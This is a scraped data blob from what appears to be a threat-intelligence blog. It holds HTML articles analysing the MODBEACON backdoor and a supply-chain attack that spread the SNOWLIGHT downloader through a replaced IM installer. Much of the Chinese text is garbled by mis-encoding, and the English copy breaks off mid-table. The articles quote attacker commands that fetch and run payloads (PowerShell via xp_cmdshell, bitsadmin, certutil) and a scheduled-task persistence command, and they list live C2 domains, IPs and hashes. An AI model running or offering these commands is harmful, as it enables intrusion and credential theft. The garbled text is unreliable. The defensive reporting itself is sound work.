data-line="90"><strong>åè®®/æå¡å</strong></p>\n<ul>\n<li><code>/xray\\.transport\\.internet\\.grpc\\.encoding\\.GRPCService/Tun</code></li>\n<li><code>xray\\.transport\\.internet\\.grpc\\.encoding\\.GRPCService</code></li>\n<li><code>Tun</code></li>\n<li><code>x\\-agent\\-token</code></li>\n<li><code>application/grpc</code></li>\n<li><code>grpc\\-status</code></li>\n<li><code>grpc\\-message</code></li>\n<li><code>grpc\\-timeout</code></li>\n</ul>\n<br>\n<h3 class="line" data-line="103">æ§å¶æµæ¦è§</h3>\n<h4 class="line" data-line="105">åå§åä¸åå®ä¾</h4>\n<p class="line" data-line="107">å¨ <code>0x149a</code>ã<code>0x17ce</code>ã<code>0x170a</code> éè¿å¯è§å¯¹ <code>CBPUserSvc</code>ã<code>APP\\_RUNTIME</code>ã<code>Global\\\\CBP\\.QZKVM\\.Exe\\.Mutex</code> ç RIP ç¸å¯¹å¼ç¨ã导å
¥åºå
å« <code>CreateMutexW</code>ã<code>GetEnvironmentVariableW</code>ã<code>SetEnvironmentVariableW</code>ã<code>GetModuleFileNameW</code> ç APIãæ¨æµåå§åæµç¨å
æ¬ï¼</p>\n<p class="line" data-line="109">1. 读åè¿è¡ç¯å¢åéåç¨åºè·¯å¾ã</p>\n<p class="line" data-line="111">2. å建 <code>Global\\\\CBP\\.QZKVM\\.Exe\\.Mutex</code> 鲿¢å¤å®ä¾ã</p>\n<p class="line" data-line="113">3. éè¿ Windows API åå§åè¿è¡æ¶ã线ç¨åç½ç»ç»ä»¶ã</p>\n<br>\n<h4 class="line" data-line="117">C2 é
ç½®éæ©ä¸ token patch</h4>\n<p class="line" data-line="119"><code>0x32120</code> éè¿å½æ°éä¸å¼ç¨é»è®¤ C2 å token patch å符串ï¼</p>\n<p class="line" data-line="121"><code>0x32160</code> ä½¿ç¨ RIP ç¸å¯¹å°åå è½½ <code>https://api\\.skystackservice\\.com</code> éè¿é
ç½®ã</p>\n<p class="line" data-line="123"><code>0x32182</code> å è½½ <code>https://api\\.fast\\-cloud\\-node\\.com</code> éè¿é
ç½®ã</p>\n<p class="line" data-line="125"><code>0x321b8</code> å¼ç¨ <code>MODBEACON\\_AGENT\\_TOKEN\\_PATCH\\_V1</code>ï¼åç»æ <code>0x200</code> åèå¾ªç¯æ£æ¥é»è¾ï¼ç似读å/è¦çå
ç½® agent tokenã</p>\n<p class="line" data-line="127">è¯¥å½æ°æ 帧è¾å¤§ï¼ç¬¦å Rust é
ç½®æé ãå符串对象åé误å¤çè·¯å¾çå½¢æãç»åå符串 <code>parse grpc endpoint</code>ã<code>connect grpc endpoint</code>ã<code>invalid agent token metadata</code>ï¼å¯å¤æå
¶è´è´£è§£æ endpointãæå»º token metadataï¼å¹¶éæ©å¯ç¨ C2ã</p>\n<br>\n<h4 class="line" data-line="131">gRPC/TLS éä¿¡æµç¨</h4>\n<p class="line" data-line="133">åç¬¦ä¸²æ± å¨ <code>0x794c8</code> èµ·ç»åºä¸»æµç¨ç¶æææ¬ï¼</p>\n<ul>\n<li><code>parse grpc endpoint</code></li>\n<li><code>connect grpc endpoint</code></li>\n<li><code>build native TLS connector</code></li>\n<li><code>queue hello</code></li>\n<li><code>invalid agent token metadata</code></li>\n<li><code>x\\-agent\\-token</code></li>\n<li><code>open grpc tun stream</code></li>\n<li><code>read hello ack</code></li>\n<li><code>read server frame</code></li>\n<li><code>grpc response stream ended</code></li>\n<li><code>heartbeat timeout</code></li>\n<li><code>grpc response stream ended before hello ack</code></li>\n</ul>\n<p class="line" data-line="147">è¿è¯´æéä¿¡æµç¨ä¸ºï¼</p>\n<p class="line" data-line="149">
1051. è§£æå
ç½® HTTPS C2ã</p>\n<p class="line" data-line="151">2. å»ºç« native TLS connectorã</p>\n<p class="line" data-line="153">3. ä½¿ç¨ gRPC <code>Tun</code> æå¡æå¼ååé§éã</p>\n<p class="line" data-line="155">4. å¨ metadata 䏿ºå¸¦ <code>x\\-agent\\-token</code>ã</p>\n<p class="line" data-line="157">5. åé helloï¼çå¾
<code>HelloAck</code>ã</p>\n<p class="line" data-line="159">6. ç»´æ heartbeatã</p>\n<p class="line" data-line="161">7. æ¥æ¶ server frame å¹¶ååå½ä»¤ã</p>\n<p class="line" data-line="163">8. ä¸ä¼ ç¶æå·æ°åå½ä»¤æ§è¡ç»æã</p>\n<p class="line" data-line="165">导å
¥åºåæ¶åºç° <code>WSAStartup</code>ã<code>WSASocketW</code>ã<code>connect</code>ã<code>send</code>ã<code>recv</code>ã<code>shutdown</code>ã<code>CertGetCertificateChain</code>ã<code>CertVerifyCertificateChainPolicy</code>ã<code>InitializeSecurityContextW</code>ã<code>EncryptMessage</code>ã<code>DecryptMessage</code>ï¼æ¯æä¸è¿°ç½ç»/TLS 夿ã</p>\n<br>\n<h4 class="line" data-line="169">ä¸»æºæçº¹éé</h4>\n<p class="line" data-line="171"><code>0x465c5</code> éè¿å¼ç¨ <code>SOFTWARE\\\\Microsoft\\\\Cryptography\\\\MachineGuid</code>ï¼åç¬¦ä¸²æ± è¿å
å«ï¼</p>\n<ul>\n<li><code>COMPUTERNAME</code></li>\n<li><code>HOSTNAME</code></li>\n<li><code>USERNAME</code></li>\n<li><code>USERLOGNAME</code></li>\n<li><code>SystemRoot</code></li>\n<li><code>windir</code></li>\n<li><code>SystemDrive</code></li>\n<li><code>platform</code></li>\n<li><code>system\\-disk</code></li>\n<li><code>host\\-user</code></li>\n<li><code>windows\\-system\\-volume:</code></li>\n</ul>\n<p class="line" data-line="184">æ¨æµè¯¥é¶æ®µéé主æºå¯ä¸æ è¯ãç¨æ·åã主æºåãç³»ç»ç®å½åç£çä¿¡æ¯ï¼ç¨äºæ³¨å agentãçæä¸çº¿ç¶ææç¯å¢æ ç¾ã</p>\n<br>\n<h4 class="line" data-line="188">å½ä»¤ä¸æä»¶åå</h4>\n<p class="line" data-line="190">protobuf/gRPC è¯ä¹å符串ä½äº `0x7b600+`ï¼</p>\n<ul>\n<li><code>Command</code></li>\n<li><code>command\\_id</code></li>\n<li><code>HelloAck</code></li>\n<li><code>Heartbeat</code></li>\n<li><code>ConfigSync</code></li>\n<li><code>LoadPlugin</code></li>\n<li><code>UnloadPlugin</code></li>\n<li><code>StatusRefresh</code></li>\n<li><code>PluginSessionFrame</code></li>\n<li><code>artifact\\_bytes</code></li>\n<li><code>artifact\\_format</code></li>\n<li><code>sha256</code></li>\n<li><code>target</code></li>\n<li><code>source\\_flag</code></li>\n</ul>\n<p class="line" data-line="206"><code>0x44003</code> éè¿å¤å¤å¼ç¨ <code>PluginSessionFrame</code>ï¼<code>0x4475f</code> éè¿å¤å¤å¼ç¨ <code>LoadPlugin</code>
105 ç¸å
³æä¸¾/åæ®µï¼è¯´ææå¡ç«¯ frame 被解æåè¿å
¥ä¸åå½ä»¤å¤ç忝ã</p>\n<br>\n<h4 class="line" data-line="210">native-v3 å
åæä»¶å è½½</h4>\n<p class="line" data-line="212">åç¬¦ä¸²æ± <code>0x79900\\-0x7a758</code> å
å«å®æ´ native-v3 loader é误路å¾ï¼</p>\n<ul>\n<li><code>load plugin artifact</code></li>\n<li><code>load native\\-v3 plugin module</code></li>\n<li><code>plugin loaded in memory</code></li>\n<li><code>plugin reloaded in memory</code></li>\n<li><code>plugin unloaded</code></li>\n<li><code>native\\-v3 plugin on\\_load failed</code></li>\n<li><code>native\\-v3 plugin on\\_session is missing</code></li>\n<li><code>artifact target architecture does not match this agent</code></li>\n<li><code>segment protection failed</code></li>\n<li><code>relocation overflow</code></li>\n<li><code>entry rva is not executable</code></li>\n<li><code>segment cannot be writable and executable</code></li>\n</ul>\n<p class="line" data-line="226">è¿è¡¨ææ ·æ¬æ¯æä» C2 ä¸å <code>native\\-v3</code> æ ¼å¼æä»¶ï¼å¨å
åä¸åé
éåãæ ¡éªæ¶æãæ å° segmentãåºç¨ relocationã设置å
åä¿æ¤å¹¶è°ç¨æä»¶å
¥å£/ä¼è¯åè°ã该è½åå¯ç¨äºåç»æéæ©å±çªå¯ã横åç§»å¨ã代ç转åæå
¶ä»è½½è·ã</p>\n<br>\n<h2 class="line" data-line="230">æ»ç»</h2>\n<p class="line" data-line="232">ç®åï¼åºäºå¥å®ä¿¡å¨èæ
æ¥ä¸å¿çå¨èæ
æ¥æ°æ®çå
¨çº¿äº§åï¼å
æ¬å¥å®ä¿¡å¨èæ
æ¥å¹³å°ï¼TIPï¼ã天æã天ç¼é«çº§å¨èæ£æµç³»ç»ãå¥å®ä¿¡NGSOCãå¥å®ä¿¡æå¿æç¥çï¼é½å·²ç»æ¯æå¯¹æ¤ç±»æ»å»çç²¾ç¡®æ£æµã</p>\n<p class="line img-box text-center" data-line="234"><img src="/uploads/2026/07/06/4f700fa635d3332454558cda64be81b6.png" alt="" width="70%"></p>\n<br>\n<h2 class="line" data-line="238">IOC</h2>\n<p class="line" data-line="240">MODBEACON-MD5:</p>\n<p class="line" data-line="242">13aff4f82171d42e7f0a72dc96346c45</p>\n<p class="line" data-line="244">f6c69d8026d2114e5322f06f69471a6c</p>\n<p class="line" data-line="246">9913b09fddbe47d4459c1ae0aa8c4953</p>\n<p class="line" data-line="248">e32797efc17c8a9a663f6f0e64fcfa08</p>\n<p class="line" data-line="250">MODBEACON C2:</p>\n<p class="line" data-line="252">skystackservice.com</p>\n<p class="line" data-line="254">fast-cloud-node.com</p>\n<p class="line" data-line="256">ghost C2:</p>\n<p class="line" data-line="258">www.nd9c887r.com</p>\n<p class="line" data-line="260">www.damaix9k.com</p>\n<p class="line" data-line="262">vaeth.cn</p>\n<p class="line" data-line="264">182.16.88.242:22</p>\n<p class="line" data-line="266">kkuu8899.org</p>\n<br>\n<h2 class="line" data-line="270">åè龿¥</h2>\n<p class="line" data-line="272">[1] https://mp.weixin.qq.com/s/BUDSvqc_DhBNad71kI2VuA</p>\n<p class="line" data-line="274">[2] https://ti.qianxin.com/blog/articles/operation-dragon-breath-(apt-q-27)-dimensionality-reduction-blow-to-the-gambling-industry/</p>\n<p class="line" data-line="276">[3] https://www.secrss.com/articles/27069</p>\n',campaign:n,area:[],industries:[],degree:d,aggressor_type:[],permlink:"https://ti.qianxin.com/blog/articles/operation-phnom-penh-silverfox-ghost-distributor-targets-specific-victims-with-modbeacon-cn"},{_id:Zn,title:pt,category:f,readableId:"original-supply-chain-incident-on-an-encrypted-im-official-website-cn",isPdfArticle:a,isAdvisorArticle:a,abstract:"å¥å®ä¿¡å¨èæ
æ¥ä¸å¿çº¢é¨æ»´å¢éç§ææ
æ¥ç产æµç¨åç°ä¸å®¶é¢åä¸æç¨æ·æä¾ç§å¯IMç软件å®ç½ä¸çå®è£
å
è¢«æ¿æ¢ãè¢«æ¿æ¢çå®è£
å
é¤äºæ£å¸¸æµç¨å¤ï¼è¿ä¼éæ¾å¦ä¸ç»ä»¶ï¼å
åå è½½SNOWLIGHTä¸è½½è
ï¼æç»è¿è¡éæ¹npsé§éã",author:i,headImg:t,descImg:e,pdfFile:e,iocFile:e,tags:[p],publish_time:"2026-05-12T03:25:45.000Z",content:'<h2 class="line" data-line="0">æ¦è¿°</h2>\n<p class="line" data-line="2">å¥å®ä¿¡å¨èæ
æ¥ä¸å¿çº¢é¨æ»´å¢éç§ææ
æ¥ç产æµç¨åç°ä¸å®¶é¢åä¸æç¨æ·æä¾ç§å¯IMç软件å®ç½ä¸çå®è£
å
è¢«æ¿æ¢ï¼ä¸è½½ä¿¡æ¯å¦ä¸ï¼</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>åæ®µåç§° (Field)</strong></td>\n<td><strong>详ç»ä¿¡æ¯ (Details)</strong></td>\n</tr>\n<tr>\n<td><strong>Referrer</strong></td>\n<td>hxxps:// www.sXXXit.com/(宿¹ç½ç«)<br>https://www.sXXXXchat.com/ (宿¹ç½ç«)</td>\n</tr>\n<tr>\n<td><strong>Download URL</strong></td>\n<td>https://XXXXsu.oss-cn-beijing.aliyuncs.com/XX_pc.exe (宿¹URLè·¯å¾)</td>\n</tr>\n<tr>\n<td><strong>Malware MD5</strong></td>\n<td>df3bd55c46adbf13ae68b5a9b1da19a0</td>\n</tr>\n</tbody>\n</table>\n<p class="line" data-line="11">è¢«æ¿æ¢çå®è£
å
é¤äºæ£å¸¸æµç¨å¤ï¼è¿ä¼éæ¾å¦ä¸ç»ä»¶ï¼å
åå è½½SNOWLIGHTä¸è½½è
ï¼æç»è¿è¡éæ¹npsé§éã</p>\n<p class="line img-box text-center" data-line="13"><img src="/uploads/2026/05/12/6032b30e2ab0d35bc3141bf70edbe8f7.png" alt="" width="70%"></p>\n<p class="line" data-line="15">天æé«çº§å¨è弿å¯ä»¥å¯¹è½å°æ¨é©¬è¿è¡æ¦æªï¼</p>\n<p class="line img-box text-center" data-line="17"><img src="/uploads/2026/05/12/2270a398f462ef8d0c540c2a5cdd584b.png" alt="" width="70%"></p>\n<br>\n<h2 class="line" data-line="21">SNOWLIGHTåæä»¥åäºä»¶æ«é²</h2>\n<p class="line" data-line="23">
105SNOWLIGHTææ©ç±Mandiantäº2024å¹´åæ«é²<sup>[1]</sup>ï¼å½å±äºUNC5174ãå¥å®ä¿¡å¨èæ
æ¥ä¸å¿åæ¯å¨2024å¹´ä½CSDNäºä»¶<sup>[2]</sup>çåç»ç»ä»¶ä¸è§å¯å°äºSNOWLIGHTå
åå è½½Vshellçæ
åµï¼ä½å¹¶æ²¡æå¯¹å¤å
¬å¼ãç´å°2025å¹´åå¸ãOperation(润)RUNã<sup>[3]</sup>对UNC5174è¿è¡äºæç¡®ç宿§ã</p>\n<p class="line" data-line="25">SNOWLIGHTæ¯ælinuxåwindowsåå¹³å°ï¼åè®®ä¸æ¯æhttpãhttpsãwebsocketãQUICçåè®®</p>\n<br>\n<h3 class="line" data-line="29">Winå¹³å°äºä»¶</h3>\n<h4 class="line" data-line="31">å
ç½æ¸é</h4>\n<p class="line" data-line="33">Winå¹³å°ä¸çæ´»å¨å为两类ï¼ä¸ç±»éè¿sqlserverçç ´å主æµwebç»ä»¶æ¼æ´å
¥ä¾µè¾¹çwindowsæå¡å¨ï¼éè¿æ§è¡bitsadminæè
curlä¸è½½å¹¶æ§è¡BATç±»åçSNOWLIGHTï¼</p>\n<p class="line img-box text-center" data-line="35"><img src="/uploads/2026/05/12/6f980c647a1b85f4809d0bbc1b16de43.png" alt="" width="70%"></p>\n<p class="line" data-line="37">BATèæ¬ä¸è½½golangæC++çæ¬çSNOWLIGHT:</p>\n<p class="line img-box text-center" data-line="39"><img src="/uploads/2026/05/12/cd1c0fbe7bf104df63f6be58268939dd.png" alt="" width="70%"></p>\n<p class="line" data-line="41">C++ç¼è¯çSNOWLIGHTå¦ä¸:</p>\n<p class="line img-box text-center" data-line="43"><img src="/uploads/2026/05/12/75d1f296dbe127a55cdd939f40e7c054.png" alt="" width="70%"></p>\n<p class="line" data-line="45">ä¸åçæ¸éé¶æ®µSNOWLIGHTå è½½çpayloadææä¸åï¼å¨ãOperation(润)RUNã䏿䏿å°SNOWLIGHTåè¿å
ç½èç¹çæ
åµï¼å¨2026å¹´åæä»¬å¨åªä½è¡ä¸è§å¯å°äºç¸åçæ¡ä¾ï¼æ»å»è
å¨ç®æ å
ç½çæå¡å¨åºéè¿åå代ç建ç«äºå¤ä¸ªSNOWLIGHTèç¹ï¼å¹¶å¨æ¨ªåç§»å¨è¿ç¨ä¸è¯·æ±å
ç½èç¹ä¸è½½BATç±»åçSNOWLIGHTï¼</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>Cmd</strong></td>\n<td></td>\n</tr>\n<tr>\n<td>cmd.exe" /c EXEC xp_cmdshell \'powershell -nop -w hidden -c "$client = New-Object System.Net.WebClient; $client.DownloadFile(\'\'http://172.XX.XXX9:38087/swt\'\', \'\'C:\\Users\\Public\\run.bat\'\'); Start-Process C:\\Users\\Public\\run.bat"\';</td>\n<td></td>\n</tr>\n<tr>\n<td>bitsadmin /transfer myjob /download /priority high http://172.XX.X.189:38087/swt C:\\Users\\Public\\run.bat</td>\n<td></td>\n</tr>\n<tr>\n<td>certutil.exe -urlcache -split -f "http://172.XX.XX.24:8881/?h=172.XX.XX.24&p=8881&t=tcp&a=w64&stage=true" "C:\\Users\\Public\\858f6b86tcp.exe"</td>\n<td></td>\n</tr>\n</tbody>\n</table>\n<p class="line" data-line="54">å
ç½SNOWLIGHTèç¹è¿åçbannerä¿¡æ¯å¦ä¸ï¼</p>\n<p class="line img-box text-center" data-line="56"><img src="/uploads/2026/05/12/1d1ec784544d05299bcd5c0a69c80a46.png" alt="" width="70%"></p>\n<p class="line" data-line="58">ç»è¿åææ»å»è
éè¿SNOWLIGHTä¸è½½çpayloadç±»åå¦ä¸ï¼</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>æä»¶å</strong></td>\n<td><strong>ç±»å</strong></td>\n</tr>\n<tr>\n<td>chr.exe</td>\n<td>æµè§å¨çªå¯æä»¶</td>\n</tr>\n<tr>\n<td>fs.exe</td>\n<td>Fscanå
ç½æ«æå¨</td>\n</tr>\n<tr>\n<td>rrq.exe</td>\n<td>ææå·¥å
·</td>\n</tr>\n<tr>\n<td>sanforV.exe</td>\n<td>SharpWebçªå¯å·¥å
·</td>\n</tr>\n</tbody>\n</table>\n<p class="line" data-line="68">æ¶åçPDBå¦ä¸ï¼</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>PDB</strong></td>\n<td></td>\n</tr>\n<tr>\n<td>D:\\项ç®\\æ¦å¨å\\å
åå è½½PE\\x64\\Release\\å
åå è½½PE.pdb</td>\n<td></td>\n</tr>\n<tr>\n<td>D:\\soft1\\soft\\æµè§å¨dump\\SharpWeb-main - 坿¬\\SharpWeb-main\\SharpWeb\\obj\\Debug\\SharpWeb.pdb</td>\n<td></td>\n</tr>\n</tbody>\n</table>\n<br>\n<h4 class="line" data-line="78">é±¼åé®ä»¶</h4>\n<p class="line" data-line="80">éè¿lnkéé±¼çæ¹å¼å¯å¨SNOWLIGHT:</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>Lnk</strong></td>\n<td></td>\n</tr>\n<tr>\n<td>XXXXXXææ¯å¦é¢æºæ¿é¡¹ç®&.pdf.lnk</td>\n<td></td>\n</tr>\n<tr>\n<td>targetcmd</td>\n<td></td>\n</tr>\n<tr>\n<td>C:\\Windows\\System32\\rundll32.exe" url.dll,FileProtocolHandler ".\\__MACOSA\\__MACOSA\\__MACOSA\\__MACOSA\\__MACOSA\\__MACOSA\\a.exe</td>\n<td></td>\n</tr>\n</tbody>\n</table>\n<p class="line" data-line="89">éåå
åå è½½å¼æºé¡¹ç®SharpHunterï¼æ¶éè¿ç»´ç»ç«¯æ¬æºä¿¡æ¯ï¼</p>
105\n<p class="line img-box text-center" data-line="91"><img src="/uploads/2026/05/12/eeecdfaaef028fb11fb0f811c68c1841.png" alt="" width="70%"></p>\n<p class="line" data-line="93">å¹¶ç»SNOWLIGHTå建计åä»»å¡ï¼</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>Cmd</strong></td>\n<td></td>\n</tr>\n<tr>\n<td>schtasks /create /tn "å¥å®ä¿¡å¤©æå®å
¨æµè§å¨æå¡" /tr "\\"C:\\Program Files\\å¥å®ä¿¡å¤©æå®å
¨æµè§å¨\\TQSecurityExplorer.exe\\"" /sc onstart /ru</td>\n<td></td>\n</tr>\n</tbody>\n</table>\n<br>\n<h4 class="line" data-line="102">ä¾åºé¾æ°´å/ä»¿åæ°´å</h4>\n<p class="line" data-line="104">é¤äºæ¬æ¬¡æ«é²çIMå®ç½ä¾åºé¾ä¹å¤ï¼å
¶è¿å¨ä»¿åä¸äºç§å¯IMå®ç½ï¼è¯¥æ´»å¨å¯è½ä¸å彩ä¸å¡æå
³ã</p>\n<p class="line img-box text-center" data-line="106"><img src="/uploads/2026/05/12/51e604eaf7a872d0510220950efc5274.png" alt="" width="70%"></p>\n<p class="line" data-line="108">ä»¥æ¬æ¬¡ä¾åºé¾è½å°çæ¨é©¬ä¸ºä¾ï¼polymorphism.exe è¿è¡åä¼è¯»å config.dat å¹¶å¨å
åä¸è§£å¯æ§è¡ï¼ç»åæä¸º4KB大å°shellcodeæçSNOWLIGHTã</p>\n<p class="line img-box text-center" data-line="110"><img src="/uploads/2026/05/12/b7e204b0f23ed0aad08f18eed35c552d.png" alt="" width="70%"></p>\n<p class="line" data-line="112">è¿æ¥ 18.179.119.184:80 ä¸è½½åç»è½½è·ã</p>\n<p class="line img-box text-center" data-line="114"><img src="/uploads/2026/05/12/be9b175eeafcdfa88dcd716f4635e74a.png" alt="" width="70%"></p>\n<p class="line" data-line="116">æç»è½½è·ä¸ºéæ¹çnpmé§éï¼é
ç½®æä»¶å¦ä¸ï¼</p>\n<p class="line img-box text-center" data-line="118"><img src="/uploads/2026/05/12/9f7dd0cbf9a235747c12ae09036427e5.png" alt="" width="70%"></p>\n<br>\n<h3 class="line" data-line="122">Linuxå¹³å°äºä»¶</h3>\n<p class="line" data-line="124">Linuxå¹³å°ä¸é对AIç±»åçæå¡å¨éè¿çç ´åæ¼æ´ä½ä¸ºæ»å»å
¥å£å¯å¨åå¼¹shellåä¸è½½bashç±»åçSNOWLIGHTèæ¬ã</p>\n<p class="line img-box text-center" data-line="126"><img src="/uploads/2026/05/12/fe10ce0149017ed1d2af119ce1e5f8df.png" alt="" width="70%"></p>\n<p class="line" data-line="128">ä¸è½½elfç±»åçSNOWLIGHTï¼æç»å
åå è½½éæ¹npmé§éã<img src="/uploads/2026/05/12/0178ed1aabd1393e897465b714f69c2e.png" alt="" width="70%"><img src="/uploads/2026/05/12/1b4e59783bb090db38c003528cd7ffbd.png" alt="" width="70%"></p>\n<br>\n<h2 class="line" data-line="132">æ»ç»</h2>\n<p class="line" data-line="134">ç®åï¼åºäºå¥å®ä¿¡å¨èæ
æ¥ä¸å¿çå¨èæ
æ¥æ°æ®çå
¨çº¿äº§åï¼å
æ¬å¥å®ä¿¡å¨èæ
æ¥å¹³å°ï¼TIPï¼ã天æã天ç¼é«çº§å¨èæ£æµç³»ç»ãå¥å®ä¿¡NGSOCãå¥å®ä¿¡æå¿æç¥çï¼é½å·²ç»æ¯æå¯¹æ¤ç±»æ»å»çç²¾ç¡®æ£æµã</p>\n<p class="line img-box text-center" data-line="136"><img src="/uploads/2026/05/12/9abf8969a60565cd8746097ca2924636.png" alt="" width="70%"></p>\n<br>\n<h2 class="line" data-line="140">IOC</h2>\n<p class="line" data-line="142"><strong>FileHash-MD5:</strong></p>\n<p class="line" data-line="144">df3bd55c46adbf13ae68b5a9b1da19a0</p>\n<p class="line" data-line="146">f7e32bac29d48021903a62e3c64ca84b</p>\n<p class="line" data-line="148">45fec0b0e4c8b99a9719a9f153272494</p>\n<p class="line" data-line="150">6c0b5793bf6074de94c13c23225573bd</p>\n<p class="line" data-line="152">b7b85cd03240cc51038adb027702ee22</p>\n<p class="line" data-line="154">3720be773080e5ba3a366c90ba7513b8</p>\n<p class="line" data-line="156"><strong>C2:</strong></p>\n<p class="line" data-line="158">18.179.119.184:80</p>\n<br>\n<h2 class="line" data-line="162">åè龿¥</h2>\n<p class="line" data-line="164">[1] https://cloud.google.com/blog/topics/threat-intelligence/initial-access-brokers-exploit-f5-screenconnect</p>\n<p class="line" data-line="166">[2] https://mp.weixin.qq.com/s/qQw1DXE25Gkz_P8pEPVaHg</p>\n<p class="line" data-line="168">[3] https://ti.qianxin.com/blog/articles/operation-run-the-cyber-carnival-of-offshore-patriots-cn/</p>\n',campaign:n,area:[],industries:[],degree:d,aggressor_type:[],permlink:"https://ti.qianxin.com/blog/articles/original-supply-chain-incident-on-an-encrypted-im-official-website-cn"},{_id:Yn,title:Pt,category:f,readableId:"original-supply-chain-incident-on-an-encrypted-im-official-website-en",isPdfArticle:a,isAdvisorArticle:a,abstract:"The RedDrip Team of QAX Threat Intelligence Center discovered during a private intelligence production process that the installer package on the official website of a software providing private IM for Chinese users had been replaced. The replaced installer, in addition to its normal routine, also drops the following components, loads the SNOWLIGHT downloader in memory, and ultimately runs a modified nps tunnel.\n\n",author:i,headImg:t,descImg:e,pdfFile:e,iocFile:e,tags:[p],publish_time:"2026-05-12T03:03:05.000Z",content:'<h2 class="line" data-line="0">Overview</h2>\n<p class="line" data-line="2">The RedDrip Team of Qianxin Threat Intelligence Center discovered through its private intelligence production process that the installation package on the official website of a private IM software targeting Chinese-speaking users had been replaced. The download details are as follows:</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>Field</strong></td>\n<td><strong>Details</strong></td>\n</tr>\n<tr>\n<td><strong>Referrer</strong></td>\n<td>hxxps:// www.sXXXit.com/(Official Website)<br> https://www.sXXXXchat.com/(Official Website)</td>\n</tr>\n<tr>\n<td><strong>Download URL</strong></td>\n<td>
105https://XXXXsu.oss-cn-beijing.aliyuncs.com/XX_pc.exe (Official URL Path)</td>\n</tr>\n<tr>\n<td><strong>Malware MD5</strong></td>\n<td>df3bd55c46adbf13ae68b5a9b1da19a0</td>\n</tr>\n</tbody>\n</table>\n<p class="line" data-line="11">In addition to the normal installation flow, the replaced package also drops the following components, memory-loads the SNOWLIGHT downloader, and ultimately executes a modified nps tunnel.</p>\n<p class="line img-box text-center" data-line="13"><img src="/uploads/2026/05/12/6032b30e2ab0d35bc3141bf70edbe8f7.png" alt="" width="70%"></p>\n<p class="line" data-line="15">The Tianqing advanced threat engine can block the landed malware:</p>\n<p class="line img-box text-center" data-line="17"><img src="/uploads/2026/05/12/2270a398f462ef8d0c540c2a5cdd584b.png" alt="" width="70%"></p>\n<br>\n<h2 class="line" data-line="21">SNOWLIGHT Analysis and Event Disclosure</h2>\n<p class="line" data-line="23">SNOWLIGHT was first disclosed by Mandiant in early 2024 <sup>[1]</sup>, attributed to UNC5174. Qianxin Threat Intelligence Center observed SNOWLIGHT memory-loading Vshell in subsequent components of the late-2024 CSDN incident <sup>[2]</sup>, but did not disclose this publicly at the time. It was not until the 2025 publication of Operation (Run) RUN <sup>[3]</sup> that UNC5174 was formally characterized.</p>\n<p class="line" data-line="25">SNOWLIGHT supports both Linux and Windows platforms, and protocols including HTTP, HTTPS, WebSocket, and QUIC.</p>\n<br>\n<h3 class="line" data-line="29">Windows Platform Incidents</h3>\n<h4 class="line" data-line="31">Internal Network Penetration</h4>\n<p class="line" data-line="33">Windows platform activities are divided into two categories. In the first, attackers infiltrate perimeter Windows servers through SQL Server brute-forcing and mainstream web component vulnerabilities, then use bitsadmin or curl to download and execute BAT-type SNOWLIGHT:</p>\n<p class="line img-box text-center" data-line="35"><img src="/uploads/2026/05/12/6f980c647a1b85f4809d0bbc1b16de43.png" alt="" width="70%"></p>\n<p class="line" data-line="37">The BAT script downloads Golang or C++ versions of SNOWLIGHT:</p>\n<p class="line img-box text-center" data-line="39"><img src="/uploads/2026/05/12/cd1c0fbe7bf104df63f6be58268939dd.png" alt="" width="70%"></p>\n<p class="line" data-line="41">The C++ compiled SNOWLIGHT is shown below:</p>\n<p class="line img-box text-center" data-line="43"><img src="/uploads/2026/05/12/75d1f296dbe127a55cdd939f40e7c054.png" alt="" width="70%"></p>\n<p class="line" data-line="45">Different penetration stages involve SNOWLIGHT loading different payloads. As mentioned in ãOperation Runã, SNOWLIGHT was observed connecting to internal network nodes. In early 2026, we observed a similar case in the media industry, where attackers established multiple SNOWLIGHT nodes in the target\'s internal server zone through reverse proxies, and requested internal nodes to download BAT-type SNOWLIGHT during lateral movement:</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>Cmd</strong></td>\n<td></td>\n</tr>\n<tr>\n<td>cmd.exe" /c EXEC xp_cmdshell \'powershell -nop -w hidden -c "$client = New-Object System.Net.WebClient; $client.DownloadFile(\'\'http://172.XX.XXX9:38087/swt\'\', \'\'C:\\Users\\Public\\run.bat\'\'); Start-Process C:\\Users\\Public\\run.bat"\';</td>\n<td></td>\n</tr>\n<tr>\n<td>bitsadmin /transfer myjob /download /priority high http://172.XX.X.189:38087/swt C:\\Users\\Public\\run.bat</td>\n<td></td>\n</tr>\n<tr>\n<td>certutil.exe -urlcache -split -f "http://172.XX.XX.24:8881/?h=172.XX.XX.24&p=8881&t=tcp&a=w64&stage=true" "C:\\Users\\Public\\858f6b86tcp.exe"</td>\n<td></td>\n</tr>\n</tbody>\n</table>\n<p class="line" data-line="55">The banner information returned by internal network SNOWLIGHT nodes is as follows:</p>\n<p class="line img-box text-center" data-line="57"><img src="/uploads/2026/05/12/1d1ec784544d05299bcd5c0a69c80a46.png" alt="" width="70%"></p>\n<p class="line" data-line="59">Analysis reveals the following payload types downloaded by SNOWLIGHT:</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>Filename</strong></td>\n<td><strong>Type</strong></td>\n</tr>\n<tr>\n<td>chr.exe</td>\n<td>Browser credential-stealing plugin</td>\n</tr>\n<tr>\n<td>fs.exe</td>\n<td>Fscan internal network scanner</td>\n</tr>\n<tr>\n<td>rrq.exe</td>\n<td>Privilege escalation tool</td>\n</tr>\n<tr>\n<td>sanforV.exe</td>\n<td>SharpWeb credential-stealing 